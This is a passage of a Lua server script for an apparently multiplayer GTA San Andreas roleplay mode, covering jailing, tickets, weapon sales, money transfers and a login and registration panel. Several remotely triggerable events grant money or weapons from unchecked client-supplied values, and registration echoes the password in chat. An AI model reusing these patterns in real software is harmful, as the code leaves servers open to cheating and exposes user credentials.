    exports["guimessages"]:outputServer(cop, amr1text[cop]..''..WLPM..''..amr2text[cop], 0, 255, 0)
    OCJ(player)
end
addEventHandler("PIJ", getRootElement(), PPIJ)

addEvent("SSPTJ", true)
function SPTJ(prsnr, cop)
    --outputDebugString("server: SPTJ")
    WLP = getElementData(prsnr, "WantLvl")
    WLPM = WLP*200
    exports["guimessages"]:outputServer(cop, amr1text[cop]..''..WLPM..''..amr2text[cop], 0, 255, 0)
    --[[Mplayer = cop
    reward = WLPM
    rscore = WLP
    triggerClientEvent(cop, "GPM", cop, Mplayer, reward, rscore)]]
    setElementData(cop, "Money", getElementData(cop, "Money")+WLPM)
    setElementData(cop, "Scores", getElementData(cop, "Scores")+WLP)
    --jailer = prsnr
    triggerClientEvent("CPIJ", prsnr, prsnr)
    setElementData(cop, "Prisoners", 0)
    setElementData(prsnr, "WantLvl", 0)
    PPIJOW(prsnr)
end
addEventHandler("SSPTJ", getRootElement(), SPTJ)

addEvent("PPIJOPW", true)
function PPIJOW(prsnr, model, team)
    --outputDebugString("server: PPIJOW")
    if isPedDead(prsnr) then
        spawnPlayer(prsnr, 0, 0, 0, 0, model, 0, 0, team)
        if getTeamFromName("Medic") == team then
            giveWeapon(prsnr, 41, 999999)
            giveWeapon(prsnr, 41, 999999)
        end
    elseif isPedInVehicle(prsnr) then
        removePedFromVehicle(prsnr)
    end
    if not getPlayerTeam(prsnr) then
        setPlayerTeam(prsnr, team)
    end
    setCameraTarget(prsnr)
    setElementInterior(prsnr, 1)
    setCameraInterior(prsnr,1)
    setPedFightingStyle(prsnr, 15)
    setElementData(prsnr, "Stats", 3)
    setElementData(prsnr, "WantLvl", 0)
    setElementData(prsnr, "SDG", 0)
    setElementData(prsnr, "MDG", 0)
    setElementData(prsnr, "EDG", 0)
    setPedWeaponSlot(prsnr, 0)
    toggleControl(prsnr, "fire", true)
    toggleControl(prsnr, "jump", true)
    toggleControl(prsnr, "next_weapon", false)
    toggleControl(prsnr, "previous_weapon", false)
    pjail = math.random(1, 36)
    if pjail == 1 then
        setElementPosition(prsnr, 1584, -1681, 1227)
        setPedRotation(prsnr, 0)
    elseif pjail == 2 then
        setElementPosition(prsnr, 1579, -1681, 1227)
        setPedRotation(prsnr, 0)
    elseif pjail == 3 then
        setElementPosition(prsnr, 1575, -1681, 1227)
        setPedRotation(prsnr, 0)
    elseif pjail == 4 then
        setElementPosition(prsnr, 1570, -1681, 1227)
        setPedRotation(prsnr, 0)
    elseif pjail == 5 then
        setElementPosition(prsnr, 1584, -1661, 1227)
        setPedRotation(prsnr, 180)
    elseif pjail == 6 then
        setElementPosition(prsnr, 1579, -1661, 1227)
        setPedRotation(prsnr, 180)
    elseif pjail == 7 then
        setElementPosition(prsnr, 1585, -1661, 1227)
        setPedRotation(prsnr, 180)
    elseif pjail == 8 then
        setElementPosition(prsnr, 1570, -1661, 1227)
        setPedRotation(prsnr, 180)
    elseif pjail == 9 then
        setElementPosition(prsnr, 1588, -1681, 1231)
        setPedRotation(prsnr, 0)
    elseif pjail == 10 then
        setElementPosition(prsnr, 1584, -1681, 1231)
        setPedRotation(prsnr, 0)
    elseif pjail == 11 then
        setElementPosition(prsnr, 1579, -1681, 1231)
        setPedRotation(prsnr, 0)
    elseif pjail == 12 then
        setElementPosition(prsnr, 1575, -1681, 1231)
        setPedRotation(prsnr, 0)
    elseif pjail == 13 then
        setElementPosition(prsnr, 1570, -1681, 1231)
        setPedRotation(prsnr, 0)
    elseif pjail == 14 then
        setElementPosition(prsnr, 1564, -1681, 1231)
        setPedRotation(prsnr, 0)
    elseif pjail == 15 then
        setElementPosition(prsnr, 1560, -1681, 1231)
        setPedRotation(prsnr, 0)
    elseif pjail == 16 then
        setElementPosition(prsnr, 1588, -1661, 1231)
        setPedRotation(prsnr, 180)
    elseif pjail == 17 then
        setElementPosition(prsnr, 1584, -1661, 1231)
        setPedRotation(prsnr, 180)
    elseif pjail == 18 then
        setElementPosition(prsnr, 1579, -1661, 1231)
        setPedRotation(prsnr, 180)
    elseif pjail == 19 then
        setElementPosition(prsnr, 1575, -1661, 1231)
        setPedRotation(prsnr, 180)
    elseif pjail == 20 then
        setElementPosition(prsnr, 1570, -1661, 1231)
        setPedRotation(prsnr, 180)
    elseif pjail == 21 then
        setElementPosition(prsnr, 1564, -1661, 1231)
        setPedRotation(prsnr, 180)
    elseif pjail == 22 then
        setElementPosition(prsnr, 1560, -1661, 1231)
        setPedRotation(prsnr, 180)
    elseif pjail == 23 then
        setElementPosition(prsnr, 1588, -1681, 1235)
        setPedRotation(prsnr, 0)
    elseif pjail == 24 then
        setElementPosition(prsnr, 1584, -1681, 1235)
        setPedRotation(prsnr, 0)
    elseif pjail == 25 then
        setElementPosition(prsnr, 1579, -1681, 1235)
        setPedRotation(prsnr, 0)
    elseif pjail == 26 then
        setElementPosition(prsnr, 1575, -1681, 1235)
        setPedRotation(prsnr, 0)
    elseif pjail == 27 then
        setElementPosition(prsnr, 1570, -1681, 1235)
        setPedRotation(prsnr, 0)
    elseif pjail == 28 then
        setElementPosition(prsnr, 1564, -1681, 1235)
        setPedRotation(prsnr, 0)
    elseif pjail == 29 then
        setElementPosition(prsnr, 1560, -1681, 1235)
        setPedRotation(prsnr, 0)
    elseif pjail == 30 then
        setElementPosition(prsnr, 1588, -1661, 1235)
        setPedRotation(prsnr, 180)
    elseif pjail == 31 then
        setElementPosition(prsnr, 1584, -1661, 1235)
        setPedRotation(prsnr, 180)
    elseif pjail == 32 then
        setElementPosition(prsnr, 1579, -1661, 1235)
        setPedRotation(prsnr, 180)
    elseif pjail == 33 then
        setElementPosition(prsnr, 1575, -1661, 1235)
        setPedRotation(prsnr, 180)
    elseif pjail == 34 then
        setElementPosition(prsnr, 1570, -1661, 1235)
        setPedRotation(prsnr, 180)
    elseif pjail == 35 then
        setElementPosition(prsnr, 1564, -1661, 1235)
        setPedRotation(prsnr, 180)
    elseif pjail == 36 then
        setElementPosition(prsnr, 1560, -1661, 1235)
        setPedRotation(prsnr, 180)
    end
end
addEventHandler("PPIJOPW", getRootElement(), PPIJOW)

addEvent("ReVehicleJail", true)
addEventHandler("ReVehicleJail", root,
function(player)
    removePedFromVehicle(player)
    setElementInterior(player, 1)
    pjail = math.random(1, 36)
    if pjail == 1 then
        setElementPosition(player, 1584, -1681, 1227)
        setPedRotation(player, 0)
    elseif pjail == 2 then
        setElementPosition(player, 1579, -1681, 1227)
        setPedRotation(player, 0)
    elseif pjail == 3 then
        setElementPosition(player, 1575, -1681, 1227)
        setPedRotation(player, 0)
    elseif pjail == 4 then
        setElementPosition(player, 1570, -1681, 1227)
        setPedRotation(player, 0)
    elseif pjail == 5 then
        setElementPosition(player, 1584, -1661, 1227)
        setPedRotation(player, 180)
    elseif pjail == 6 then
        setElementPosition(player, 1579, -1661, 1227)
        setPedRotation(player, 180)
    elseif pjail == 7 then
        setElementPosition(player, 1585, -1661, 1227)
        setPedRotation(player, 180)
    elseif pjail == 8 then
        setElementPosition(player, 1570, -1661, 1227)
        setPedRotation(player, 180)
    elseif pjail == 9 then
        setElementPosition(player, 1588, -1681, 1231)
        setPedRotation(player, 0)
    elseif pjail == 10 then
        setElementPosition(player, 1584, -1681, 1231)
        setPedRotation(player, 0)
    elseif pjail == 11 then
        setElementPosition(player, 1579, -1681, 1231)
        setPedRotation(player, 0)
    elseif pjail == 12 then
        setElementPosition(player, 1575, -1681, 1231)
        setPedRotation(player, 0)
    elseif pjail == 13 then
        setElementPosition(player, 1570, -1681, 1231)
        setPedRotation(player, 0)
    elseif pjail == 14 then
        setElementPosition(player, 1564, -1681, 1231)
        setPedRotation(player, 0)
    elseif pjail == 15 then
        setElementPosition(player, 1560, -1681, 1231)
        setPedRotation(player, 0)
    elseif pjail == 16 then
        setElementPosition(player, 1588, -1661, 1231)
        setPedRotation(player, 180)
    elseif pjail == 17 then
        setElementPosition(player, 1584, -1661, 1231)
        setPedRotation(player, 180)
    elseif pjail == 18 then
        setElementPosition(player, 1579, -1661, 1231)
        setPedRotation(player, 180)
    elseif pjail == 19 then
        setElementPosition(player, 1575, -1661, 1231)
        setPedRotation(player, 180)
    elseif pjail == 20 then
        setElementPosition(player, 1570, -1661, 1231)
        setPedRotation(player, 180)
    elseif pjail == 21 then
        setElementPosition(player, 1564, -1661, 1231)
        setPedRotation(player, 180)
    elseif pjail == 22 then
        setElementPosition(player, 1560, -1661, 1231)
        setPedRotation(player, 180)
    elseif pjail == 23 then
        setElementPosition(player, 1588, -1681, 1235)
        setPedRotation(player, 0)
    elseif pjail == 24 then
        setElementPosition(player, 1584, -1681, 1235)
        setPedRotation(player, 0)
    elseif pjail == 25 then
        setElementPosition(player, 1579, -1681, 1235)
        setPedRotation(player, 0)
    elseif pjail == 26 then
        setElementPosition(player, 1575, -1681, 1235)
        setPedRotation(player, 0)
    elseif pjail == 27 then
        setElementPosition(player, 1570, -1681, 1235)
        setPedRotation(player, 0)
    elseif pjail == 28 then
        setElementPosition(player, 1564, -1681, 1235)
        setPedRotation(player, 0)
    elseif pjail == 29 then
        setElementPosition(player, 1560, -1681, 1235)
        setPedRotation(player, 0)
    elseif pjail == 30 then
        setElementPosition(player, 1588, -1661, 1235)
        setPedRotation(player, 180)
    elseif pjail == 31 then
        setElementPosition(player, 1584, -1661, 1235)
        setPedRotation(player, 180)
    elseif pjail == 32 then
        setElementPosition(player, 1579, -1661, 1235)
        setPedRotation(player, 180)
    elseif pjail == 33 then
        setElementPosition(player, 1575, -1661, 1235)
        setPedRotation(player, 180)
    elseif pjail == 34 then
        setElementPosition(player, 1570, -1661, 1235)
        setPedRotation(player, 180)
    elseif pjail == 35 then
        setElementPosition(player, 1564, -1661, 1235)
        setPedRotation(player, 180)
    elseif pjail == 36 then
        setElementPosition(player, 1560, -1661, 1235)
        setPedRotation(player, 180)
    end
end)

addEvent("BAIL", true)
function JTF(player, bail)
    setElementData(player, "Stats", 0)
    setElementData(player, "WantLvl", 0)
    setElementInterior(player, 6, 255.18803+math.random(-2,2), 86.82748+math.random(-3,3), 1002.44531)
    setPedRotation(player, 90)
    toggleControl(player, "next_weapon", true)
    toggleControl(player, "previous_weapon", true)
    --[[cops = countPlayersInTeam(Police)
    for _, players in ipairs(getElementsByType("player")) do
        if getPlayerTeam(players) == Police then
            Mplayer = players
            reward = math.ceil(bail/cops)
            rscore = false
            triggerClientEvent(players, "GPM", players, Mplayer, reward, rscore)
        end
    end]]
end
addEventHandler("BAIL", getRootElement(), JTF)

addEvent("JailEscape", true)
function Jescape(player, bc1, bc2)
    --outputDebugString("server: Jescape")
    if not lspdh then
        moveObject (e1, 1000, 1589.56, -1675.17, 1228)
        moveObject (e2, 2000, 1554.44, -1670.57, 1226.9)
    end
    setElementData(player, "WantLvl", 6)
    setElementData(player, "Stats", 0)
    toggleControl(player, "next_weapon", true)
    toggleControl(player, "previous_weapon", true)
    triggerClientEvent("SSiren", getRootElement())
    for _, players in ipairs(getElementsByType("player")) do
        if getPlayerTeam(players) == Police then
            exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
            exports["guimessages"]:outputServer(players, phdr1text[players]..''..getPlayerName(player)..''..phdr2text[players], 255, 0, 0)
            triggerClientEvent("Tcheckntf", players, 'r', 'je', 'r', phdr1text[players]..''..getPlayerName(player)..''..phdr2text[players], players)
            if bc1 and badcop1 then
                exports["guimessages"]:outputServer (players, bc1text[players]..''..getPlayerName(badcop1)..''..bc2text[players], 255, 0, 0)
            elseif bc2 and badcop2 then
                exports["guimessages"]:outputServer (players, bc1text[players]..''..getPlayerName(badcop2)..''..bc2text[players], 255, 0, 0)
            end
        end
    end
    --reward = -3000
    --rscore = -12
    if bc1 and badcop1 then
        --triggerClientEvent(badcop1, "GPM", badcop1, badcop1, reward, rscore)
        if getElementData(badcop1, "Money") < 0 and getElementData(badcop1, "Bank") > 0 then
            if (getElementData(badcop1, "Bank")-3000) < 0 then
                setElementData(badcop1, "Bank", 0)
            else
                setElementData(badcop1, "Bank", getElementData(badcop1, "Bank")-3000)
            end
        else
            setElementData(badcop1, "Money", getElementData(badcop1, "Money")-3000)
        end
        setElementData(badcop1, "Scores", getElementData(badcop1, "Scores")-12)
    elseif bc2 and badcop2 then
        --triggerClientEvent(badcop2, "GPM", badcop2, badcop2, reward, rscore)
        if getElementData(badcop2, "Money") < 0 and getElementData(badcop2, "Bank") > 0 then
            if (getElementData(badcop2, "Bank")-3000) < 0 then
                setElementData(badcop2, "Bank", 0)
            else
                setElementData(badcop2, "Bank", getElementData(badcop2, "Bank")-3000)
            end
        else
            setElementData(badcop2, "Money", getElementData(badcop2, "Money")-3000)
        end
        setElementData(badcop2, "Scores", getElementData(badcop2, "Scores")-12)
    end
end
addEventHandler("JailEscape", getRootElement(), Jescape)

addEvent("OFFTICK", true)
function offerT(cop, players)
    exports["guimessages"]:outputServer (cop, tk1text[cop]..''..getPlayerName(players)..''..tk2text[cop], 0, 0, 255)
    triggerClientEvent("Tcheckntf", cop, 'y', 'tk', 'y', tk1text[cop]..''..getPlayerName(players)..''..tk2text[cop], cop)
    setElementData(players, "Stats", 1)
    triggerClientEvent("BKPT", players, cop)
end
addEventHandler("OFFTICK", getRootElement(), offerT)

addEvent("TCHANCE", true)
function TICKCHA(player)
    --outputDebugString("server: TICKCHA")
    if getElementData(player, "WantLvl") == 1 then
        setElementData(player, "WantLvl", 2)
    elseif getElementData(player, "WantLvl") == 2 then
        setElementData(player, "WantLvl", 3)
        setElementData(player, "Stats", 0)
    end
end
addEventHandler("TCHANCE", getRootElement(), TICKCHA)

addEvent("PTick", true)
function PTTC(player, tcop)
    --outputDebugString("server: PTTC")
    --rscore = false
    if getElementData(player, "WantLvl") == 1 then
        --Mplayer = tcop
        reward = 200
        setElementData(tcop, "Money", getElementData(tcop, "Money")+200)
        setElementData(tcop, "Scores", getElementData(tcop, "Scores")+1)
    elseif getElementData(player, "WantLvl") == 2 then
        reward = 500
        setElementData(tcop, "Money", getElementData(tcop, "Money")+500)
        setElementData(tcop, "Scores", getElementData(tcop, "Scores")+2)
    end
    exports["guimessages"]:outputServer(tcop, getPlayerName(player)..''..tkp1text[tcop]..''..reward..''..tkp2text[tcop], 0, 255, 0)
    triggerClientEvent("Tcheckntf", tcop, 'g', 'tk', 'g', getPlayerName(player)..''..tkp1text[tcop]..''..reward..''..tkp2text[tcop], tcop)
    triggerClientEvent("Tcheckntf", player, 'g', 'tk', 'g', "", player)
    setElementData(player, "WantLvl", 0)
    setElementData(player, "Stats", 0)
end
addEventHandler("PTick", getRootElement(), PTTC)

addEvent("EPAPZ", true)
function FEPAPZ(attacker)
    --outputDebugString("server: FEPAPZ")
    setElementData(attacker, "WantLvl", 3)
end
addEventHandler("EPAPZ", getRootElement(), FEPAPZ)

--[[addEventHandler("onPlayerWasted", root,
function(_, killer)
    if killer and getElementType(killer) == "player" and killer ~= source and getElementData(killer, "Job") == 1 and getElementData(source, "Stats") < 2 and getElementData(source, "Hits") then
        setTimer(setElementData,1000,1,source, "Hits", false)
    end
end)]]

-------------------------------------------------------------------------------

addEvent("GPC", true)
function FGPC(seller, cash, amount, Wlvl)
    setElementData(seller, "Money", getElementData(seller, "Money")+cash)
    setElementData(seller, "Scores", getElementData(seller, "Scores")+1)
    setElementData(seller, "DLP", getElementData(seller, "DLP")-amount)
    exports["guimessages"]:outputServer(seller, amr1text[seller]..''..cash, 0, 255, 0)
    if Wlvl then
        setElementData(seller, "WantLvl", Wlvl)
    end
end
addEventHandler("GPC", getRootElement(), FGPC)

addEvent("Cust", true)
function FCust(seller, player, cust)
    if getElementData(seller, "DL") == player or not getElementData(seller, "DL") then
        setElementData(seller, "DL", cust)
    end
end
addEventHandler("Cust", getRootElement(), FCust)

--[[

addEvent("Pistols", true)
function FPistols(player, seller, Asile, Acolt, Adeag)
    --outputDebugString("server: FPistols")
    setPedWeaponSlot(player, 0)
    local weapon = getPedWeapon(player, 2)
    local totalAM = getPedTotalAmmo(player, 2)
    if Asile > 0 then
        if weapon == 23 then
            giveWeapon(player, 23, Asile+totalAM)
        else
            giveWeapon(player, 23, Asile)
        end
    elseif Acolt > 0 then
        if weapon == 22 then
            giveWeapon(player, 22, Acolt+totalAM)
        else
            giveWeapon(player, 22, Acolt)
        end
    elseif Adeag > 0 then
        if weapon == 24 then
            giveWeapon(player, 24, Adeag+totalAM)
        else
            giveWeapon(player, 24, Adeag)
        end
    end
end
addEventHandler("Pistols", getRootElement(), FPistols)

addEvent("ShotGuns", true)
function FShotGuns(player, seller, Ashot, Asawn, Aspaz)
    --outputDebugString("server: FShotGuns")
    setPedWeaponSlot(player, 0)
    if Ashot > 0 then
        giveWeapon(player, 25, Ashot)
    elseif Asawn > 0 then
        giveWeapon(player, 26, Asawn)
    elseif Aspaz > 0 then
        giveWeapon(player, 27, Aspaz)
    end
end
addEventHandler("ShotGuns", getRootElement(), FShotGuns)

addEvent("MPistols", true)
function FMPistols(player, seller, Atec, Auzi, Amp5)
    --outputDebugString("server: FMPistols")
    setPedWeaponSlot(player, 0)
    if Atec > 0 then
        giveWeapon(player, 32, Atec)
    elseif Auzi > 0 then
        giveWeapon(player, 28, Auzi)
    elseif Amp5 > 0 then
        giveWeapon(player, 29, Amp5)
    end
end
addEventHandler("MPistols", getRootElement(), FMPistols)

addEvent("MGuns", true)
function FMGuns(player, seller, Aak, Am4)
    --outputDebugString("server: FMGuns")
    setPedWeaponSlot(player, 0)
    if Aak > 0 then
        giveWeapon(player, 30, Aak)
    elseif Am4 > 0 then
        giveWeapon(player, 31, Am4)
    end
end
addEventHandler("MGuns", getRootElement(), FMGuns)

addEvent("Snipers", true)
function FSnipers(player, seller, Arife, Asnip)
    --outputDebugString("server: FSnipers")
    setPedWeaponSlot(player, 0)
    local weapon = getPedWeapon(player, 6)
    local totalAM = getPedTotalAmmo(player, 6)
    if Arife > 0 then
        if weapon == 33 then
            giveWeapon(player, 33, Arife+totalAM)
        else
            giveWeapon(player, 33, Asile)
        end
    elseif Asnip > 0 then
        if weapon == 34 then
            giveWeapon(player, 34, Asnip+totalAM)
        else
            giveWeapon(player, 34, Asnip)
        end
    end
end
addEventHandler("Snipers", getRootElement(), FSnipers)


addEvent("Grenades", true)
function FGrenades(player, seller, Agren, Atear)
    --outputDebugString("server: FGrenades")
    setPedWeaponSlot(player, 0)
    local weapon = getPedWeapon(player, 8)
    local totalAM = getPedTotalAmmo(player, 8)
    if Agren > 0 then
        if weapon == 16 then
            giveWeapon(player, 16, Agren+totalAM)
        else
            giveWeapon(player, 16, Agren)
        end
    elseif Atear > 0 then
        if weapon == 17 then
            giveWeapon(player, 17, Atear+totalAM)
        else
            giveWeapon(player, 17, Atear)
        end
    end
end
addEventHandler("Grenades", getRootElement(), FGrenades)

addEvent("Para", true)
function FPara(player, seller, Apara)
    --outputDebugString("server: FPara")
    setPedWeaponSlot(player, 0)
    if Apara > 0 then
        giveWeapon(player, 46, Apara)
    end
end
addEventHandler("Para", getRootElement(), FPara)

--]]

addEvent("Pistols", true)
function FPistols(player, seller, Asile, Acolt, Adeag)
setPedWeaponSlot(player, 0)
    --outputDebugString("server: FPistols")
    if Asile > 0 then
        giveWeapon(player, 23, Asile)
    elseif Acolt > 0 then
        giveWeapon(player, 22, Acolt)
    elseif Adeag > 0 then
        giveWeapon(player, 24, Adeag)
    end
end
addEventHandler("Pistols", getRootElement(), FPistols)

addEvent("ShotGuns", true)
function FShotGuns(player, seller, Ashot, Asawn, Aspaz)
setPedWeaponSlot(player, 0)
    --outputDebugString("server: FShotGuns")
    if Ashot > 0 then
        giveWeapon(player, 25, Ashot)
    elseif Asawn > 0 then
        giveWeapon(player, 26, Asawn)
    elseif Aspaz > 0 then
        giveWeapon(player, 27, Aspaz)
    end
end
addEventHandler("ShotGuns", getRootElement(), FShotGuns)

addEvent("MPistols", true)
function FMPistols(player, seller, Atec, Auzi, Amp5)
setPedWeaponSlot(player, 0)
    --outputDebugString("server: FMPistols")
    if Atec > 0 then
        giveWeapon(player, 32, Atec)
    elseif Auzi > 0 then
        giveWeapon(player, 28, Auzi)
    elseif Amp5 > 0 then
        giveWeapon(player, 29, Amp5)
    end
end
addEventHandler("MPistols", getRootElement(), FMPistols)

addEvent("MGuns", true)
function FMGuns(player, seller, Aak, Am4)
setPedWeaponSlot(player, 0)
    --outputDebugString("server: FMGuns")
    if Aak > 0 then
        giveWeapon(player, 30, Aak)
    elseif Am4 > 0 then
        giveWeapon(player, 31, Am4)
    end
end
addEventHandler("MGuns", getRootElement(), FMGuns)

addEvent("Snipers", true)
function FSnipers(player, seller, Arife, Asnip)
setPedWeaponSlot(player, 0)
    --outputDebugString("server: FSnipers")
    if Arife > 0 then
        giveWeapon(player, 33, Arife)
    elseif Asnip > 0 then
        giveWeapon(player, 34, Asnip)
    end
end
addEventHandler("Snipers", getRootElement(), FSnipers)

addEvent("Grenades", true)
function FGrenades(player, seller, Agren, Atear)
setPedWeaponSlot(player, 0)
    --outputDebugString("server: FGrenades")
    if Agren > 0 then
        giveWeapon(player, 16, Agren)
    elseif Atear > 0 then
        giveWeapon(player, 17, Atear)
    end
end
addEventHandler("Grenades", getRootElement(), FGrenades)

addEvent("GArmor", true)
function FGArmor(player, seller)
    --outputDebugString("server: FGArmor")
    setPedArmor(player, 100)
    if seller ~= player then
        setElementData(seller, "DLP", getElementData(seller, "DLP")-1)
        setElementData(seller, "Scores", getElementData(seller, "Scores")+1)
        setElementData(seller, "Money", getElementData(seller, "Money")+200)
        exports["guimessages"]:outputServer(seller, yhetext[seller], 0, 255, 0)
    end
end
addEventHandler("GArmor", getRootElement(), FGArmor)
--[[
addEvent("GPME")
function FGPME(Mplayer)
    --outputDebugString("server: FGPME")
    reward = 50
    rscore = false
    triggerClientEvent(Mplayer, "GPM", Mplayer, Mplayer, reward, rscore)
    outputChatBox(amr1text[Mplayer]..''..reward, Mplayer, 0, 255, 0)
end
addEventHandler("GPME", getRootElement(), FGPME)
]]
------------------------------------------------------

addEvent("getstats", true)
function getstats()
    account = getPlayerAccount(source)
    playeracc = getAccountName(account)
    IPxx2 = getPlayerIP(source)
    serial = getPlayerSerial(source)
    triggerClientEvent("setstats", source, playeracc, IPxx2, serial)
end
addEventHandler ("getstats", getRootElement(), getstats)

addEvent("GCash", true)
function FGCash(player, id, amount)
    --send[source] = false
    for k, v in ipairs(getElementsByType("player")) do
        if getElementData(v, "ID") == id then
            send[source] = true
            setElementData(v, "Money", getElementData(v, "Money")+amount)
            exports["guimessages"]:outputServer(player, ygmtext[player]..' '..getPlayerName(v)..' $'..amount, 0, 255, 0)
            exports["guimessages"]:outputServer(v, getPlayerName(player)..' '..gymtext[v]..' $'..amount, 0, 255, 0)
            setElementData(player, "Money", getElementData(player, "Money")-amount)
        end
    end
    if send[source] then
        send[source] = false
    else
        exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
        --setElementData(player, "Money", getElementData(player, "Money")-amount)
    end
end
addEventHandler("GCash", getRootElement(), FGCash)

---------------------------------------------------------------------------------------

--------------------------
-- Login panel by NeXTreme
--------------------------


-- Login handling
function loginPlayer(username,password,enableKickPlayer,attemptedLogins,maxLoginAttempts)
    if isGuestAccount(getPlayerAccount(source)) then
        if not (username == "") then
            if not (password == "") then
                local account = getAccount ( username, password )
                if ( account ~= false ) then
                    --[[for k,v in ipairs(getAccounts()) do
                        if getAccountData(v, "Serial") == getPlayerSerial(source) then
                            noa = noa+1
                        end
                    end
                    if noa < 2 and not getAccountData(account, "Serial") or getAccountData(account, "Serial") == getPlayerSerial(source) then
                        noa = 0]]
                        logIn (source, account, password)
                        exports["guimessages"]:outputServer(source,"* You have sucessfully logged in!", 255, 255, 255)
                        setTimer(outputChatBox,700,1,"#0000FF* #FFFFFFTo enable auto-login, use #ABCDEF/enableauto#FFFFFF!",source,255,255,255,true)
                        triggerClientEvent (source,"hideLoginWindow",getRootElement())
                        loadacc(source)
                    --[[else
                        noa = 0
                        outputChatBox("You're allowed to own 2 accounts only!يحق لك أن تملك حسابين فقط", source, 255, 0, 0)
                    end]]
                else
                    if enableKickPlayer == true then
                        if (attemptedLogins >= maxLoginAttempts-1) then
                            exports["guimessages"]:outputServer(source, "* Error! Wrong username and/or password!", 255, 255, 255)
                            setTimer(outputChatBox,500,1,"#0000FF* #FFFFFFWarning! Maximum login attempts reached! [#008AFF"..attemptedLogins+1 .."/"..maxLoginAttempts.."#FFFFFF]",source,255,255,255,true)
                            setTimer(outputChatBox,1000,1,"#0000FF* #FFFFFFYou will be kicked in #008AFF5 seconds#FFFFFF!",source,255,255,255,true)
                            setTimer(kickPlayer,5000,1,source,"Failed to login")
                        else
                            exports["guimessages"]:outputServer(source, "* Error! Wrong username and/or password!", 255, 255, 255)
                            setTimer(outputChatBox,500,1,"#0000FF* #FFFFFFLogin attempts: [#008AFF"..attemptedLogins+1 .."/"..maxLoginAttempts.."#FFFFFF]",source,255,255,255,true)
                            triggerClientEvent(source,"onRequestIncreaseAttempts",source)
                        end
                    else
                        exports["guimessages"]:outputServer(source, "* Error! Wrong username and/or password!", 255, 255, 255)
                    end
                end
            else
                exports["guimessages"]:outputServer(source,"* Error! Please enter your password!",255, 255, 255)
            end
        else
            exports["guimessages"]:outputServer(source, "* Error! Please enter your username!", 255, 255, 255)
        end
    else
         logIn (source, account, password)
        exports["guimessages"]:outputServer(source, "* You have sucessfully logged in!", 0 , 255, 0)
        setTimer(outputChatBox,700,1,"#0000FF* #FFFFFFTo enable auto-login, use #ABCDEF/enableauto#FFFFFF!",source,255,255,255,true)
        triggerClientEvent (source,"hideLoginWindow",getRootElement())
        loadacc(source)
  end
end

dbb = dbConnect("sqlite", "link/internal.db")

-- Registration here
function registerPlayer(username,password,passwordConfirm)
    --[[for k,v in ipairs(getAccounts()) do
        if getAccountData(v, "Serial") == getPlayerSerial(source) then
            noa = noa+1
        end
    end]]
    local noa = dbPoll(dbQuery(dbb, "SELECT value FROM userdata WHERE value = ? AND key= ?", getPlayerSerial(source), "Serial"), -1)
    if #noa < 2 then
        if not (username == "") then
            if not (password == "") then
                if not (passwordConfirm == "") then
                    if password == passwordConfirm then
                        local account = getAccount (username,password)
                        if (account == false) then
                            local accountAdded = addAccount(tostring(username),tostring(password))
                            if (accountAdded) then
                                setAccountData(accountAdded, "Serial", getPlayerSerial(source))
                                triggerClientEvent(source,"hideRegisterWindow",getRootElement())
                                exports["guimessages"]:outputServer(source, "* You have sucessfuly registered! [Username: " .. username .. " #| Password: " .. password .. "]", 255, 255, 255)
                                setTimer(outputChatBox,800,1,"#0000FF* #FFFFFFYou can now login with your new account.",source,255,255,255,true )
                            else
                                exports["guimessages"]:outputServer(source,"* An unknown error has occured! Please choose a different username/password and try again.", 255, 255, 255)
                            end
                        else
                            exports["guimessages"]:outputServer(source, "* Error! An account with this username already exists!", 255, 255, 255)
                        end
                    else
                        exports["guimessages"]:outputServer(source, "* Error! Passwords do not match!", 255, 255, 255)
                    end
                else
                    exports["guimessages"]:outputServer(source, "* Error! Please confirm your password!", 255, 255, 255)
                end
            else
                exports["guimessages"]:outputServer(source, "* Error! Please enter a password!", 255, 255, 255)
            end
        else
            exports["guimessages"]:outputServer(source, "* Error! Please enter a username you would like to register with!", 255, 255, 255)
        end
    else
        exports["guimessages"]:outputServer(source, "You're allowed to own 2 account only! يحق لك ان تملك حسابان فقط !", 255, 0, 0)
    end
    --noa = 0
end

-- Auto-login handling
function autologinPlayer(username,password)
    if not (username == "") then
        if not (password == "") then
            local account = getAccount ( username, password )
            if not (account == false) then
                logIn (source, account, password)
                exports["guimessages"]:outputServer(source, "* You have been automatically logged in.", 255, 255, 255)
                setTimer(outputChatBox,1000,1,"#0000FF* #FFFFFFTo disable auto-login, use #ABCDEF/disableauto.",source,255,255,255,true)
                --triggerClientEvent(source, "hideLoginWindow", getRootElement())
                loadacc(source)
            else
                exports["guimessages"]:outputServer(source, "* Auto-login error - Username & password do not match", 255, 255, 255)
            end
        else
            exports["guimessages"]:outputServer(source, "* Auto-login error - Failed to retrieve password", 255, 255, 255)
        end
    else
        exports["guimessages"]:outputServer(source,"* Auto-login error - Failed to retrieve username", 255, 255, 255)
    end
end

login = {}

function loadacc()
    if not login[source] then
        login[source] = true
        plang = getAccountData(getPlayerAccount(source), "ALanguage")
        if not plang then
            plang = 0
        end
        setElementData(source, "Language", plang)
        triggerClientEvent("SSS", source, source)
        triggerClientEvent("TLANG", source, source)
        triggerClientEvent("onLI", source, source, bag, rul)
        --triggerClientEvent("COAJT", source)
        if not rbp then
            x, y, z = getElementPosition(bag)
            triggerClientEvent("DropB", source, x, y, z)
        end
    end
end

addEventHandler("onPlayerQuit", root, function() login[source] = nil end) -- You forgot to add this (by TAPL)

--[[ When the player logs out, trigger the client event to check if the login panel will request them to login again
function logoutHandler()
    triggerClientEvent(source,"onRequestDisplayPanel",source)
end
addEventHandler("onPlayerLogout",getRootElement(),logoutHandler)
]]


-- Get the server's name
function getData()
    local sName = md5(getServerName())
    local sName = string.sub(sName,0,15)
    triggerClientEvent(source,"onGetServerData",getRootElement(),sName)
end

addEvent("onRequestLogin",true)
addEvent("onRequestRegister",true)
addEvent("onRequestAutologin",true)
addEvent("onClientLoginLoaded",true)
addEventHandler("onRequestLogin",getRootElement(),loginPlayer)
addEventHandler("onRequestRegister",getRootElement(),registerPlayer)
addEventHandler("onRequestAutologin",getRootElement(),autologinPlayer)
addEventHandler("onClientLoginLoaded",getRootElement(),getData)

-------------------------------------------- Pickpocket ---------------------------------------

addEvent("DRob", true)
function FDRob(player, targ)
    if getElementData(targ, "protect") then
        exports["guimessages"]:outputServer(player, hbrtext[player], 255, 255, 0)
    elseif getElementData(targ, "Money") > 100 then
        robM = math.ceil(getElementData(targ, "Money")/20)
